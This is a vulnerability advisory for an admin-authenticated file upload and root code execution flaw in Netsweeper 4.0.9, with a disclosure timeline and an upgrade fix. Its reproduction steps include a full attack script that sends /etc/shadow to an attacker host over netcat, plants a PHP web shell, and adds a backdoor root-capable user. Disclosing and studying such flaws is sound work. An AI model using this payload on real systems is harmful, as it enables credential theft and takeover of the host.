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+ Netsweeper 4.0.9 - Arbitrary File Upload and Execution +
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Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version : 4.0.9 (and probably other versions)
Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched : Yes
CVE : [CVE-2015-PENDING]
Advisory ID : [SECUID0-15-005]
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+ Product Description +
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Netsweeper is a software solution specialized in content filtering.
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+ Exploitation Details +
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Netsweeeper 4.0.9 (and probably other versions) allows an authenticated user with admin privileges, to upload arbitrary PHP code (eg PHP shell) and further execute it with root rights.
To replicate the bug:
1. Login as admin at https://<netsweeper>/webadmin
2. Go to System Tools | System Configuration
3. Select "Routes Advertising Service" then Add new Peer, and add the below:
4. At Peer Address (enter <netsweeper>'s IP, you may also use its default IP 192.168.100.100): 192.168.100.100
5. Comment: pwn3d
6. At File Template (copy and paste the below):
-----code snippet-----
#!/bin/sh
/usr/bin/nc <attacker_ip> 1234 < /etc/shadow
echo "<?php if(isset(\$_REQUEST['c'])){echo \"<pre>\";\$c=(\$_REQUEST['c']);system(\$c);echo \"</pre>\";die;} ?>" > /usr/local/netsweeper/webadmin/logs/secuid0.php
echo "secuid0:x:501:500::/tmp/:/bin/bash" >> /etc/passwd
#set secuid0 password to "secuid0"
echo "secuid0:\$1\$h8DmA\$LmWhQ71Bp6u253YOUTdnc0:16452:0:99999:7:::" >> /etc/shadow
echo "secuid0 ALL=(ALL) ALL" >> /etc/sudoers
#secuid0.net
-----code snippet-----
7. <Click the "Advanced Settings" button to show more fields>
8. Config file, set it to: /tmp/secuid0.sh
9. Service Restart Command, set it to: /bin/bash /tmp/secuid0.sh
10. Set up your netcat listener on port 1234
11. Once you submit the above bash script and rest of details ... you will receive a copy of /etc/shadow to your attacker_ip's netcat listener (#10), and also you will be able to interact with the injected php shell from: http://<netsweeper>/webadmin/logs/secuid0.php?c=ls
The injected script /tmp/secuid0.sh will run with root's privileges, so essentially the attacker owns the box and profits.
[root@localhost logs]# ls -al /tmp/
...
-rw-r--r-- 1 root root 219 Feb 30 12:40 secuid0.sh
...
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+ Solution +
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Upgrade to latest version.
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+ Disclosure Timeline +
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06-Apr-2015: CVE Request
08-Apr-2015: Issues reported to Netsweeper
08-Apr-2015: Netsweeper bug ID 15475
08-Apr-2015: Netsweeper response, tickets opened and issues will be resolved in the 4.0.11 and 4.1.5 releases
11-Aug-2015: Public disclosure
